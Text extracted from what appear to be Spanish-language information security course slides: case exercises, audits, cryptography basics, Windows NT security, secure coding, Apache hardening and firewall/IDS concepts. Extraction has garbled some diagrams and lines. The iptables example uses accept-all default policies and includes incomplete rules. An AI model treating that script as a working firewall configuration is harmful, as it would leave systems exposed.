la información
• Procedimientos de control de cambios
• Procedimientos
malicioso
de
control
de
software
Ejercicio 7
• EL Hospital “El Milagro” ha estado
desarrollando actividades en el medio por
más de 5 años, el director del Hospital le ha
llamado a un equipo especializado en
seguridad de información debido a que se ha
sentido frustrado por haber invertido mucho
dinero en seguridad de información sin tener
resultados positivos.
• EL director en una entrevista mencionó lo
siguiente (en resumen):
Ejercicio 7
• El área de seguridad depende del área de
redes
• Al parecer nunca le alcanza al Hospital el
dinero que se solicita para inversiones en el
área de seguridad.
• Los usuarios de los sistemas de información
tienen la impresión que la función de
seguridad nunca los ha tomado en cuenta.
Ejercicio 7
• El gasto de inversión en equipos de seguridad
como Firewalls, licencias de antivirus, detectores de
intrusos, etc. se ha disparado.
• Al parecer estos equipos no han sido efectivos dado
que han ocurrido incidentes de Seguridad y no se
ha protegido al Hospital de estos impactos
causados.
• Hace poco un auditor externo mencionó que no vio
ningún procedimiento operativo de seguridad.
Ejercicio 7
• El encargado de redes batalla mucho para
que le apruebe los proyectos el Hospital dado
que el lenguaje que usa es muy técnico.
• Realizar un comentario que brinde consejos
al Director General para poder ir armando la
estrategia de la función de Seguridad de
Información,
favor
de
justificar
sus
respuestas.
Ejercicio 7
• De manera adicional
siguientes actividades:
se
deben
realizar
las
• Visión de seguridad de información (a 5 años)
• Misión de seguridad de información
• Que dimensión será la más relevante en un
Hospital
(Disponibilidad,
confidencialidad,
Integridad, autenticidad y no repudiación)
• Establecer 5 objetivos de seguridad de información.
Ejercicio 8
• Retomando el caso del Hospital Santa Cecilia
y de acuerdo a la información proporcionada
en el mismo realiza lo siguiente:
• Escribe una política de seguridad corporativa
(Máximo tres párrafos).
• Identifica tres políticas específicas
consideras deben de desarrollarse.
que
Ejercicio 8
• Lista tres recomendaciones que harías a los
empleados del hospital en cuanto a:
•
•
•
•
Respaldo de información
Correo electrónico
Manejo de usuarios y contraseñas
Uso de equipo de cómputo.
Ejercicio 9
• El proveedor de servicios de Internet Inter-Fly,
el cual cuenta con más de 10 años de
operación en las tres principales ciudades:
México, Monterrey y Guadalajara. Ofrece
servicios de Internet dedicados de alta
capacidad a empresas grandes y medianas.
Ejercicio 9
• Hace aproximadamente un año implementó un
sistema para presentar las facturas de los
clientes en línea, el tráfico cursado por día y la
opción de pagar las facturas mediante tarjetas
de crédito corporativas y/o transferencias
electrónicas.
• La empresa cuenta con una granja de
servidores Web los cuales presentan el portal
hacia los clientes y atienden sus peticiones.
Ejercicio 9
• Los servidores Web se conectan hacia un
sistema de base de datos configurados en alta
disponibilidad los cuales almacenan las
facturas, los registros, las transacciones, las
consultas, los datos completos de los clientes,
los números de las tarjetas de crédito y los
números de cuentas de cheques de los
clientes.
• Adicionalmente
cuentan
con
switches,
enrutadores, cortafuegos y otros elementos de
protección para garantizar la seguridad del
servicio.
Ejercicio 9
• La operación del proveedor de servicios de
Internet es centralizada y no considera ningún
tipo de redundancia geográfica.
• La empresa no cuenta con un programa o
modelo
de
seguridad
de
información
corporativo pero esta en sus planes
estratégicos para el próximo año. La seguridad
de la empresa se basa en operadores y
administradores de equipos y servidores los
cuales manejan la seguridad de los mismos.
Ejercicio 9
• Inter-Fly ha decidido implementar muchos de
sus servicios a sus clientes vía Internet,
necesitan saber que elementos de seguridad
necesita implementar en su red local.
Ejercicio 10
• La Universidad “Valle del Norte”, la cual cuenta
con más de 100 años de operación en la
ciudad de Monterrey. Cuenta con 10 campus
en diversas ciudades de la República.
• Esta Universidad ha dedicado muchos recursos
en sus sistemas de administración escolar,
administración financiera y plataforma de
cursos en línea.
Ejercicio 10
• Cuenta con más 3,000 equipos de cómputo
conectados a través de sus redes locales, los
cuales mantienen estrecha comunicación con
equipos centrales.
• Así mismo maneja conexiones con otras
Universidades
que
tienen
centros
de
investigación.
Ejercicio 10
• El rector de la Universidad ha llamado a un
grupo de expertos de Seguridad de Información
para obtener consejos debido a que se han
presentado ciertos incidentes “penosos” como
alteración indebida de calificaciones y cursos
en línea, ataques al portal de cursos en línea,
epidemias de virus en algunos sistemas como
el financiero, pérdida de información en los
sistemas debido a problemas de hardware, los
sistemas de inscripciones de han caído en la
última inscripción, etc.
Ejercicio 10
• En una entrevista con el director de Informática
se pudo visualizar ciertas problemáticas
generales como son:
• Al parecer cuentan con redes locales muy
extensas o con una deficiente segmentación.
• No cuentan con una estructura de firewalls para
proteger sus redes de Internet ni para uso
interno.
Ejercicio 10
• No cuenta con sistemas
debidamente actualizados.
de
antivirus
• No han tenido tiempo para desarrollar los
procedimientos operativos más importantes
para el día a día.
• No existe una política de uso de recursos
computacionales (se detectan acceso a sitios
inmorales).
Ejercicio 10
• No cuentan con una plataforma ni procesos
robustos de controles de acceso.
• Han instalado redes inalámbricas en forma
descontrolada.
• Ha habido robo de laptops a alumnos y a
profesores dentro de la Universidad.
Ejercicio 10
• Los equipos de las salas de alumnos son
continuamente des-configurados.
• Hay quejas de falta de capacidad en el sitio
central así como en sus comunicaciones.
• Para cada incidente de seguridad proponer
mecanismos de control que ayuden a evitar el
riesgo.
Auditorias de seguridad
• La auditoria es la evaluación de una persona,
sistema, proceso, proyecto o producto.
• La auditoría se utiliza como mecanismo de
control para logar el aseguramiento de la
calidad.
• La auditoría se centra en verificar y validar el
control interno de una organización. En
cuestión de seguridad es lo mismo.
Auditorías de Seguridad
• La auditoría describe como se hacen las cosas,
no tanto su existencia. Por ejemplo al auditar
una base de datos se está validando el uso de
la base de datos y no su existencia.
• La auditoría es todo un proceso de verificación
de lo que se dice ser con lo que se tiene.
• Las auditorías pueden ser generales o técnicas
Auditoría de Seguridad
• La auditoría de seguridad es una auditoria
técnica. Se recomienda que sea una auditoria
de control superior (externa) aunque es
deseable que se haga de manera interna para
control interno.
• La auditoría en general y la especializada en
seguridad debe de realizarse en los procesos
de negocios de las organizaciones.
Auditorías de Seguridad
• ¿Qué es lo que se audita?
• Activos de información y la información misma
respecto a como se usa y que se cumplan las
políticas de seguridad.
Auditorías de Seguridad
Auditorías de Seguridad
• El proceso de auditoria finaliza con un reporte
en el cual se indican los hallazgos encontrados
y la evidencia que confirma dichos hallazgos.
• Si no se tiene evidencia sustantiva no se puede
sustentar ninguna opinión profesional.
• Con la evidencia recabada se debe de poder
reconstruir la instantánea de lo evaluado.
Auditorías de Seguridad
• Para realizar auditorías de seguridad se
requiere previamente realizar planeación. Sino
se tiene un plan de auditorías no se puede
garantizar que es seguro.
• Se pueden utilizar herramientas de análisis de
vulnerabilidades para revisar posibles activos.
• Es más recomendable utilizar versiones propias
de análisis de vulnerabilidades.
Auditorías de Seguridad
• Se pueden realizar a través de forma manual o
auxiliándose
de
alguna
herramienta
actualizada.
• Los auditores no solucionan los problemas
encontrados, sólo los reportan de la misma
forma que en desarrollo de software un tester
prueba no codifica.
Ejemplo de Auditoría
• ¿Qué hace el siguiente pseudocódigo?
W, X, Y, Z: real
READ W, X
Z=1
While (z > 0.01) do
Y = X – (((X*X) – W)/ (2*X))
Z = abs(X – Y)
X=Y
End While
Print X
¿Qué es esto?
• .- ..- -.. .. - --- .-. .. .- / .. -. ..-. --- .-. -- .- - .. -.-. .- /
Teoría criptográfica
• Es un control de seguridad enfocado en la
confidencialidad e integridad de la información.
• Consiste en cambiar un mensaje original por
otro con la finalidad de que dicho mensaje no
pueda ser modificado o visualizado de forma
sencilla.
Teoría Criptográfica
• El criptoanálisis estudia el proceso de descifrar
los mensajes poniéndolos en su forma original,
o bien tratando de romper la seguridad.
• La forma correcta del término es cifrar y
descifrar la información.
• La criptografía es una ciencia muy antigua.
Las claves
• Las claves o llaves son el mecanismo por el
cual se pueden cifrar y descifrar la información.
• Existen varios algoritmos de cifrado cayendo en
el área de simétricos y asimétricos.
• ¿Qué diferencia existente entre ellos?
Las Claves
• En los simétricos la misma clave se utiliza para
cifrar y descifrar el mensaje. En los asimétricos
se utilizan llaves distintas siendo el esquema
más generalizado el PKI (Public Key
Infrastructure).
• Se recomienda utilizar claves asimétricas,
aunque los mecanismos simétricos son más
fáciles de administrar.
Aplicaciones criptográficas
• Las aplicaciones de la criptografía son muchas,
en general se trata que la información sea
menos vulnerable a cualquier tipo de ataque.
Alice
channel
data
secure
sender
Bob
data, control
messages
secure
receiver
Trudy
data
Aplicaciones criptográficas
Protocolos criptográficos
Criptografía Simétrica
Cifrado Asimétrico
Comparación
Tipos de Cifrado
Criptografía de Llave Simétrica
Cifrado por Sustitución: substituir un caracter por otro
– Cifrado monoalfabetico:
Texto plano:
abcdefghijklmnopqrstuvwxyz
Texto cifrado:
mnbvcxzasdfghjklpoiuytrewq
E.g.:
Texto Plano: bob. i love you. alice
Texto Cifrado: nkn. s gktc wky. mgsbc
DES: Data Encryption Standard
• Estándar de Cifrado NIST 1993
• Llave de 56 bits, Entrada de 64 bits
• How secure is DES?
– Con el poder de cálculo actual se puede
descifrar en 4 meses
• Mayor seguridad:
– Usar tres llaves secuenciales (3-DES) en
cada dato
– Usar encdenamiento de bloques
DES
3DES
Criptografía de Llave Pública
Simétrica
• Requiere enviar la llave
por un canal seguro
Asimétrica
 Enfoque diferente [Diffie-
Hellman76, RSA78]
 Emisor y Receptor no
• ¿Cómo se deben poner
de
acuerdo
para
determinar la llave si
previamente
no
se
conocen los emisores y
receptores?
comparten la llave secreta

La llave pública la conoce
cualquiera

La llave privada solo la
conocen cada quien.
Public key cryptography
+ Bob’s public
B key
K
K
plaintext
message, m
encryption ciphertext
algorithm
+
K (m)
B
- Bob’s private
B key
decryption plaintext
algorithm message
m = K - (K +(m))
B
B
Firmas digitales, huellas digitales y
certificados digitales
• Las aplicaciones de criptografía van más allá
de simplemente cifrar un texto. En algunas
ocasiones se necesita verificar la autenticidad
de algo para ello están las firmas, las huellas y
los certificados digitales.
Firmas Digitales
Firma digital para un mensaje m:
• Bob “firma” m cifrándolo con su llave privada KB,
creando un mensaje “firmado” KB(m)
Mensaje de Bob, m
Querida Alice!
Hola …)
Bob
K B Llave privada
de Bob
Algoritmo
de cifrado
de cllave
publica
-
K B(m)
Mensaje de Bob,
m, firmado con su
llave primaria
Firmas Digitales
• Si Alice recibe un mensaje m, con firma digital KB(m)
• Alice verifica m firmada por Bob aplicando la - clave
pública de Bob KB a KB(m) entonces verifica KB(KB(m) )
+
+ = m.
• Si +KB(K
B(m) ) = m, quien haya frmado m debió haber
usado la llave privada de Bob.
Alice comprobó que:
 Bob firmó m.
 Nadie más firmo m.
 Bob firmo m y no m’.
-
No repudio
Certificados de Clave Pública
Problema de las llaves públicas:
• Cuando Alice obtiene la llave pública de (de un sitio
Web, correo, diskette), ¿Cómo sabe realmente que es
la clave pública de Bob?
Solución:
• Confiando en una autoridad certificadora (CA)
Certification Authorities
• Certification Authority (CA): liga una llave pública K a
una Entidad privada E.
• E registra s llave pública con CA.
– E provee de “pruebas de identidad” a la CA.
– CA crea un certificado que liga a E con su llave Pública.
– El certificado contiene la llave pública de firmada por la CA.
-
Bob’s
public
key
Bob’s
identifying
information
+
KB
digital
signature
(encrypt)
CA
private
key
-
K CA
+
K CA(KB )
+
KB
certificate for
Bob’s public key,
signed by CA
Autoridades de Certificación
• Cuando Alice quiere la llave pública de Bob:
– Obtiene el certificado de Bob (por medio
de Bob or de alguién más).
– Aplica la llave pública de CA al certificado
de Bob, para obtener la llave pública de
Bob.
+
KB
-
+
K CA(KB )
digital
signature
(decrypt)
CA
public
key
+
K CA
Bob’s
public
+
key
KB
Un Certificado contiene
• Número de serie (único)
• Información acerca del dueño certificadocertificate,
incluyendo el algoritmo de validación.
Pretty good privacy (PGP)
• Estándar de Facto de Firma de
Correo Electrónico
• Usa criptografía
asimetrica.
simétrica,
• Provee
de
secrecía,
auntenticación del emisor e
integridad.
• Inventor: Phil Zimmerman, (3
años de investigación)
Un mensaje firmado con PGP:
---BEGIN PGP SIGNED MESSAGE--Hash: SHA1
Bob:My husband is out
tonight.Passionately
Alice
of town
yours,
---BEGIN PGP SIGNATURE--Version: PGP 5.0
Charset: noconv
yhHJRHhGJGhgg/12EpJ+lo8gE4vB3mqJ
hFEvZP9t6n7G6m5Gw2
---END PGP SIGNATURE---
Criptoanálisis
• Algunos ejemplos de algoritmos simétricos:
RSA
• Un ejemplo de RSA
Políticas y Normas
• El gran problema de la seguridad: “Tenemos
(mas que suficientes) tecnologías de seguridad,
pero no sabemos como estamos (en el caso de
que lo estemos) de seguros”.
• En términos genéricos tenemos mejor calidad
de vida pero eso no nos garantiza tener
seguridad.
Políticas y Normas
• Como se había comentado lo más importantes
es saber lo que se quiere proteger (políticas y
normas)
• Algunos problemas de seguridad en SO:
• Arranque inseguro
– ¿Quién lo arranca?
– ¿Es realmente el código original?
Seguridad en SO
• Ejecución insegura
– Usuarios con muchos privilegios
– Servicios inútiles y con demasiados privilegios
• Degradación de la seguridad
– Integración de nuevo software
– Dispositivos de almacenamiento masivo
– Sistema sin parchear
– Antivirus y Antimalware desactualizados
Seguridad en SO
• Existen diversos enfoques de seguridad. Los
más comunes son el top-down y el bottom-up.
• En el enfoque descendente se inicia con las
aplicaciones hasta llegar al sistema operativo y
hardware. En el bottom-up que es el más
extendido el proceso va al revés (primero que
nada seguridad física).
Seguridad en S.O.
• En general un buen mecanismo de seguridad
consistirá en un sistema escalonado de
permisos (similar a las transacciones en dos
fases de la base de datos).
• Además del control de acceso a los recursos, el
sistema operativo debe de llevar la contabilidad
y la auditoria de las actividades realizadas.
• ¿Cómo se logra la CIA en un SO?
Seguridad en SO
• La seguridad de las aplicaciones dependen del
SO anfitrión.
Seguridad en S.O.
• Para alcanzar mayor seguridad el SO tanto
como las aplicaciones se desarrollan a través
de diversas arquitecturas de software
modulares.
• Una de las arquitecturas más difundidas es la
de microkernel. Separando aplicaciones por
capas se puede garantizar seguridad por
aislamiento pero hace más vulnerable a los
sistemas.
Arquitectura de Windows NT
Procesos del Sistema
Services
Subsystem
Control
Management
Service
LSASS
Windows
SvcHost.Exe
Task Manager
WinMgt.Exe
WinLogon
User
Mode
Envinroments
Applications
Explorer
SpoolSv.Exe
OS/2
User Applications
Services.Exe
Session Handler
POSIX
DLLs Subsystem
Windows DLLs
NTDLL.DLL
System Thread
Kernel
Mode
System Dispatch System
(Kernel Mode Interfaceel)
Kernel
Interfaces de Hardware(buses, Dispositivos de E/S , interrupcciones,
intervalos de temporizadores,
DMA, control
de memoria cache , etc.)
Hardware Abstraction
Layer (HAL)
Local Process
Call
Configuration
Manager (Registry)
Process and
Threads
Virtua
Memory
Security
Reference
Monitor
Energy
Manager
Plug and Play
Manager
File System
Cache
File System
and Device
Drivers
Object Handler
I/O Manager
Windows
USER,
GDI
Grpahical
Manager
Seguridad en SO
• Los sistemas operativos suelen utilizarse en
modo supervisor del microprocesador para
garantizar que las aplicaciones causen menos
conflictos.
• Los SO deben de proporcionar APIs a los
programas de aplicación para garantizar
seguridad. Por ejemplo GINA (Graphical
Identification and Autentication ) y algunas
criptoAPIs.
Seguridad en SO
• Para el usuario el Sistema es lo que ve y los
SOs no son la excepción. Generalmente las
interfaces de usuario en los SO contienen
rutinas para manipulación de archivos dado
que para la mayoría de SO (principalmente
sistemas *X) tienen la premisa de que todo es
un archivo.
Registro
• BD centralizada que guarda información de
configuración del sistema. ¿Es seguro?
Matriz de Acceso
• Determina que pueden realizar los usuarios
sobre los recursos.
Integridad de Aplicaciones
Cajas de arena
Listas de Control de Acceso
• ACL: mecanismos que permiten variar los
permisos y usuarios sobre los recursos
Clasificación de Seguridad
Seguridad en Windows NT
• Manejo de Errores y subsistemas protegidos.
– NT tolera fallos y estos no afectan a otros
componentes.
• Sistema de archivos recuperable.
– La E/S de disco se ve como una sola transacción.
Ante fallos vuelve atrás.
• Soporte para cintas de respaldos.
Seguridad en Windows NT
• Soporte para UPS
• “Espejado” de disco.
• ¿Para que nos sirve hacer particiones en
cuestión de seguridad?
• ¿Qué diferencias existen de seguridad entre los
sistemas de archivos FAT y NTFS?
Seguridad en Windows NT
• Manejo de control de acceso (¿No existe en
FAT?)
• Sistema de Logging
• ¿Existe desfragmentación para NTFS?
• Manejo de comprensión
• ¿Manejo de cifrado?
Seguridad en Windows NT
• Es sensible a mayúsculas y minúsculas para
sistemas *X e indiferente en DOS y Windows.
• Los permisos disponibles son:
– Lectura
– Escritura
– Ejecución
– Borrado
– Cambio de permisos
– Tomar posesión
Seguridad en Windows NT
• Manejo de Dominios (servicio de directorios)
para la compartición y uso de recursos.
• Los dominios pueden estar en un solo servidor
o distribuidos por la red. ¿La redundancia de
datos es seguridad?
• Los datos sobre los usuarios se guardan en
una base de datos llamada SAM (disponible en
cualquier servidor).
Seguridad en Windows NT
• La seguridad se hace a través de políticas y
directivas de seguridad. Por ejemplo el sistema
de autenticación: valida la longitud, duración de
la contraseña y el número de intentos.
• ¿Dónde se ve la auditoria del SO? Visor de
Eventos (Sucesos)y tiene tres vriantes:
sistema, seguridad y aplicación.
Seguridad en Windows NT
• A partir de Windows Vista se posee Trusted
Platform Module (TPM) v1.2 Hardware
integrado en el equipo. El cual almacena
credenciales en un chip en la tarjeta madre.
• Todo el código de las DLLs y ejecutables se
firman digitalmente para garantizar la integridad
del código.
Seguridad en Windows NT
• La mayoría de los sistemas operativos manejan
una política predeterminada de no permitir el
acceso a nada. Un control en este sentido es la
variable de candado para realizar operaciones
de modificación.
• Las aplicaciones pueden ejecutarse en
diversos contextos como Internet Explorer 7
que puede ejecutarse en modo protegido.
Seguridad en Windows NT
• Los SOs actuales poseen de firewalls para
proteger los activos de información de una
computadora.
• El firewall actual de Windows es tanto de
entrada como de salida.
• Los SOs actuales cuanten con antimalware (no
es una solución completa a un antivirus, es
más amplia) que eliminan periódicamente
ciertas anomalías.
Seguridad en Windows NT
• Los SOs actuales con un sistema de
administración de reinicios capaz de dejar el
sistema tal cual se quedó después de una falla.
Seguridad en el Desarrollo de
Software
• Hasta hace poco muy pocas metodologías de
desarrollo de software consideraban a la
seguridad como un requerimiento básico de
calidad.
• La tendencia ha cambiado bastante a tal punto
que existen metodologías como SDL
(Microsoft) que manejan roles y procesos de
seguridad.
Seguridad en Desarrollo de Sw
• La parte más importante de la seguridad es
considerarlo como un requerimiento obligatorio
(implícito) a como actualmente son las
validaciones de entrada.
• Parte importante de la seguridad se puede ver
desde diferentes enfoques en cada parte del
proceso de desarrollo (análisis, diseño,
implementación, pruebas, etc.) pero siempre es
importante las arquitecturas de del software
con respecto a la seguridad.
Código y poder
• El código fuente es poder
– Tanto para defenderse como para atacar
• Compartir el código es compartir el poder.
– Con los atacantes y defensores
• Publicar el código fuente sin hacer nada más
degrada la seguridad
• Por el contrario, publicar el código fuente permite
a los defensores y a otros elevar la seguridad al
nivel que les convenga.
Software Seguro
• El software Fiable es aquel que hace lo que se supone
que debe hacer.
• El software Seguro es aquel que hace lo que se supone
que debe hacer, y nada mas.
– Son los sorprendentes “algo mas” los que producen inseguridad.
• Para estar seguro, debes de ejecutar solo software
perfecto :-)
• O, hacer algo para mitigar ese “algo mas”
El problema M & M
TheDura
‘M&M’Interior
Problem
Suave
Cubierta
Resuelto por
seguridad
perimetral
El problema
adicional
que hay que
resolver
Arquitectura Fortaleza
•
•
•
•
Protección perimetral
Estático, no diferenciado
Difícil de modificar y adaptar
Descuida el insider problem
Arquitectura Aeropuerto
• Mayor flexibilidad
• Múltiples zonas de seguridad basadas en roles
• Protecciones multinivel interzonas
• Colección
jerárquica
interactuantes
de
fortalezas
Arquitectura Aeropuerto
Arquitectura P2P
• Conceptos
dinámicos
autenticación y autorización
de
confianza,
• Requerimientos comerciales->Requerimientos
tecnológicos
• Inferir en tiempo real qué quiero hacer y con
quién quiero hacerlo
• Puede requerir servicios provistos por TTP
(Trusted Third Parties).
Arquitectura SD3
• Propuesta por Microsoft en SDL
Seguro
por diseño
Seguro
de forma
predeterminada
Seguro en
implementación
Arquitectura y código seguros
Análisis de amenazas
Reducción de los puntos vulnerables
Menor área expuesta a ataques
Las características que no se usan están
desactivadas de forma predeterminada
Privilegios mínimos
Protección: detección, defensa,
recuperación y administración
Proceso: guías de procedimientos
y de arquitectura
Usuarios: aprendizaje
Consejos de Seguridad
•
Tenga en cuenta la seguridad
– Al comienzo del proceso
– Durante el desarrollo
– Durante la implementación
– En los hitos de revisión del software
•
No deje de buscar errores de seguridad hasta
el final del proceso de desarrollo
Los retos de la seguridad en las
empresas
Servidores con
roles múltiples y
variados
Recursos limitados para
implementar soluciones
de seguridad
Amenazas
internas o
accidentales
Sistemas
obsoletos
Falta de
expertos en
seguridad
Consecuencia
s legales
El acceso físico
rompe muchas
medidas de
seguridad
Defensa en Profundidad
Usando una estrategia por capas
• Se incrementa el riesgo de ser detectado para el
atacante
• Se reduce su probabilidad de tener éxito
Datos
ACLs, cifrado, EFS
Application
Aplicación
Fortificación, antivirus
Host
Fortificacion
Fortificación del SO,
Autenticación, Parches
Red Interna
Segmentos de Red, IPSec
Perímetro
Firewalls, Acceso a Red,
Redes de Cuarentena
Guardias, Cerraduras, etc.
Seguridad Física
Policies,
Procedures,
Políticas,
Procesos y &
Awareness
Concienciación
Documentación,
formación
Consejos de Seguridad
• Programar bien!!!
• No utilizar funciones inseguras que puedan
provocar fallos de desbordamiento.
• En C/C++ se debe tener mucho cuidado con
los punteros
• Se recomienda no utilizar funciones como: strcpy()
strcat() sprintf() scanf()sscanf() fscanf() vfscanf(),
entre otras.
Fortificación
• El “hardening” (fortificación o endurecimiento)
es una técnica de control de seguridad que
consiste en tomar medidas elevadas de
seguridad en los servidores o equipos de
usuarios.
• No existe un conjunto de pasos únicos, esto se
maneja de forma variada, dependiendo del SO
y de los servicios disponibles aunque
generalmente existen directrices y líneas base
que se pueden seguir.
Fortificación
• Revisa que servicios se deben de ejecutar.
• Revisa el grado de seguridad continuamente.
• Manejar distintos tipos de restricciones.
• Utiliza certificaciones como common criteria.
Fortificando Apache
• Deshabilitar servicios no indispensables
• Verificar los bugtracks y actualizar
• Proteger los directorios /var/www/
• Crear
un
/var/www/error
directorio
personalizado
• Habilitar los .htaccess y proteger los archivos
de users y password del http
mod_dosevasive
• Fácil de configurar
• Puede ayudar a evadir ataques de DoS bloqueando
direcciones ip o URLs temporalmente.
LoadModule dosevasive20_module modules/mod_dosevasive20.so
<IfModule mod_dosevasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSPageInterval 1
DOSSiteCount 50
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSEmailNotify [email protected]
DOSLogDir "/tmp/mod_dosevasive“ (make writable by apache only)
</IfModule>
Características mod_security
• Los filtros se aplican antes de ejecutar los scripts
• Soporta SSL
• Entienden el protocolo http
• Hace logging completo incluyendo post data
• Las reglas son personalizadas usando expresiones
regulares y pueden ser aplicadas a niveles de virtual
hosts
Oscurantismo
• Es un mecanismo de seguridad que consiste
en ocultar información y servicios.
• Un servidor Web se ejecuta en el puerto 80
pero puede cambiarse de puerto. Esto
garantiza cierta seguridad hasta que no se
descubra el servicio.
• El código abierto es un ejemplo claro que el
oscurantismo no funciona.
Oscurantism0
• NO SE DEBEN DE UTILIZAR NUNCA
CONFIGURACIONES PREDETERMINADAS.
• Se deben cambiar las configuraciones
predeterminadas de forma robusta antes de
entrar a la red.
• El
conocimiento
de
configuraciones
predeterminadas es un vector ataque muy
utilizado.
Seguridad en Redes y
Comunicaciones
• Uno de los activos de información más
importantes dentro de las organizaciones es la
infraestructura de telecomunicaciones tanto de
datos como de voz.
• A través de las redes de voz y datos fluye toda
la información de la empresa, si esta no está
disponible, es confiable e integra se tendrá una
serie de problemas.
Seguridad en Red
• Lo primero que se debe de hacer es la
evaluación del desempeño y seguridad de la
red.
• En redes de computadoras interesa que tengan
una alta disponibilidad con un buen uso del
ancho de banda. Por este motivo se necesita
monitorear la red con software especializado
como nagios, cactis, mrtg, entre otros.
Seguridad en Red
• Las herramientas de monitoreo tienen la
característica de notificar lo que está
ocurriendo en tiempo real.
• Se suele confundir comúnmente con los
sniffers y analizadores de protocolos dado que
realizan en esencia la misma función básica de
capturar paquetes en la red.
• El desempeño de la red está dado por los
protocolos de comunicación empleados.
Seguridad en Red
• La seguridad de la red parte desde la capa 0 o
Cableado estructurado, pasando por la capa
física y enlace (NICs), el SO (capa de red,
transporte, sesión, presentación) y de las
aplicaciones de red.
• Se puede utilizar la segmentación de redes y el
manejo de hardware especializado para un
mejor desempeño y seguridad de la red.
• Las aplicaciones de red son quizás la parte de
seguridad más importante.
Seguridad en Redes
• En cuestión de las aplicaciones se necesita
hacer un análisis de que se comparte, cómo se
comparte y hacia quien se comparte. Con estas
características se puede mejorar la seguridad
de la red.
• Para asegurarse que los controles implantados
sean los correctos es necesario evaluarlos
haciendo “hacking ético”.
Seguridad en Redes
• El hacking ético consiste en la enumeración de
propiedades de un sistema como puertos,
aplicaciones abiertas, tipo de sistema
operativo, etc.
• Con toda esta información el ataque debe
preparar un plan de ataque. Para ello puede
auxiliarse de herramientas de código malicioso
como virus, exploits, rootkits, sniffers, password
crackers, etc. La herramienta dependerá de lo
que se pretende atacar (vector de ataque).
Seguridad en Redes
• Para este curso se propone un esquema de
seguridad en tres fases:
• Prevención de Intrusos (IPS).
• Detección de Intrusos (IDS)
• Engaño de usuarios (Honeywall)
• Retroalimentación (fortificacion de activos)*
IPS
• Los sistemas de prevención de intrusos más
famosos son los firewalls.
• Un firewall es un dispositivo que filtra el tráfico
de la redes. Puede ser un dispositivo físico o un
software sobre un sistema operativo.
• Existen dos tipos de firewall de host y de red.
Cuando es de host se instala un software en el
sistema operativo (o ya viene instalado).
IPS
• Cuando se trata de un firewall de red puede ser
un hardware especializado o una computadora
adaptada con dos o más interfaces de red.
• El firewall se encarga de determinar en base a
políticas de acceso que paquetes deben de
entrar y de salir de la red.
• En general se filtran paquetes por IP, Puerto y
contenido (especializados).
IPS
• Los firewall funcionan como barda perimetral
permitiendo el acceso o denegándolo a los
datos de las aplicaciones.
• El análisis de contenido de un firewall tiene la
característica que es altamente consumidor de
tiempo y no puede ser del todo efectivo. Por
ejemplo en HTTP se sugiere utilizar un proxycache.
IPS
• Lo más importante es la creación de un
esquema o arquitectura que permita manejar
seguridad de forma eficiente. Existen diversas
arquitecturas para configurar firewall.
• Entre más puntos de control se tengan mejor
es la seguridad pero el desempeño de la red
puede no ser el óptimo.
Arquitecturas de IPS
• Centralizada:
• Zona desmilitarizada:
Arquitecturas de IPS
• DMZ con dos firewalls:
• Las arquitecturas de IPS varían dependiendo
de la topología de la red y de la prioridad de los
activos de información.
IPS
• Existen un sin fin de herramientas de firewalls.
• Las más comunes so a través del sistema
operativo como IPTables en el caso de los
sistemas Linux y las soluciones de hardware.
IP Table
•
•
•
•
•
•
•
•
•
•
•
•
•
•
!/bin/sh
## SCRIPT de IPTABLES − ejemplo del manual de iptables
echo −n Aplicando Reglas de Firewall
## FLUSH de reglas
iptables −F
iptables −X
iptables −Z
iptables −t nat −F
## Establecemos politica por defecto
iptables −P INPUT ACCEPT
iptables −P OUTPUT ACCEPT
iptables −P FORWARD ACCEPT
iptables −t nat −P PREROUTING ACCEPT
iptables −t nat −P POSTROUTING ACCEPT
IP Table
•
•
•
•
•
•
•
•
•
•
•
## Empezamos a filtrar
# El localhost se deja (por ejemplo conexiones locales a mysql)
/sbin/iptables −A INPUT −i lo −j ACCEPT
# A nuestra IP le dejamos todo
iptables −A INPUT −s 195.65.34.234 −j ACCEPT
# A un diseñador le dejamos usar el FTP
iptables −A INPUT −s 80.37.45.194 −p tcp −dport 20:21 −j
ACCEPT
# El puerto 80 de www debe estar abierto, es un servidor web.
iptables −A INPUT −p tcp −−dport 80 −j ACCEPT
iptables −A INPUT −p tcp −−dport 1:1024
iptables −A INPUT −p udp −−dport 1:1024
Configuración IP Table
• # Cerramos otros puertos que estan abiertos
• iptables −A INPUT −p tcp −−dport 3306 −j
DROP
• iptables −A INPUT −p tcp −−dport 10000 −j
DROP
• iptables −A INPUT −p udp −−dport 10000 −j
DROP
• echo " OK . Verifique que lo que se aplica con:
iptables −L −n"
• # Fin del script.
IDS
• Los IDS son sistemas que monitorea diversas
fuentes y formas los SI.
• Compara el tráfico con patrones de ataques.
• Identifica problemas relacionados con el abuso
de privilegios
• Realiza análisis estadístico en busca de
patrones de actividad anormal
IDS
• ¿Por qué utilizar un IDS si ya se cuenta con un
IPS?
• Esta es la pregunta que casi todo administrador
de red y encargados de seguridad se hacen.
• El firewall como se había comentado es una
especie de barda, los IDS viene siendo el
sistema de monitoreo de circuito cerrado.
IDS
• En muchas ocasiones el principal enemigo ya
está dentro.
• Muchas herramientas de seguridad basadas en
hardware
generalmente
ya
incluyen
características de IDS pero siguen llamándose
firewalls.
• Además el IDS puede detectar ataques por
entunelamiento,de
vulnerabilidades
de
aplicaciones y de la parte segura de la red.
IDS
• Los IDS pueden ser a nivel de Host (HIDS)
siendo quizás los más populares y a nivel de
red (NIDS).
• Los NIDS monitorean el tráfico de la red
mostrando alertas sobre ciertas anomalías.
• Los HIDS sólo se preocupan por los eventos
locales a una máquina monitoreando el tráfico
de red o elementos de la misma máquina
IDS
• Los HIDS Monitorean:
– Sesiones de usuarios
– Actividades de los usuarios privilegiados
– Cambios en el sistema de archivos
• A pesar de las múltiples ventajas, los IDS
presentan algunos inconvenientes como:
• Generación de falsos positivos
• No pueden analizar tráfico cifrado
IDS
• Son tan efectivos como la última actualización
de patrones.
• Alta latencia entre el ataque y la notificación
• Dificultad para realizar análisis en redes
congestionadas
• No indican si un ataque ha sido exitoso o no
IDS
• No son infalibles
• No compensan una mala administración
• No investigan ataques sin intervención humana
• No intuyen ni siguen las políticas de seguridad
organizacional
IDS
• Los IDS es un control de seguridad que está
siendo implementado actualmente con mucha
frecuencias en las organizaciones.
• Como toda herramienta tecnológica depende
en gran medida de la persona que se encargue
de la toma de decisiones.
• Los IDS más populares son snort y tripwire.
IDS
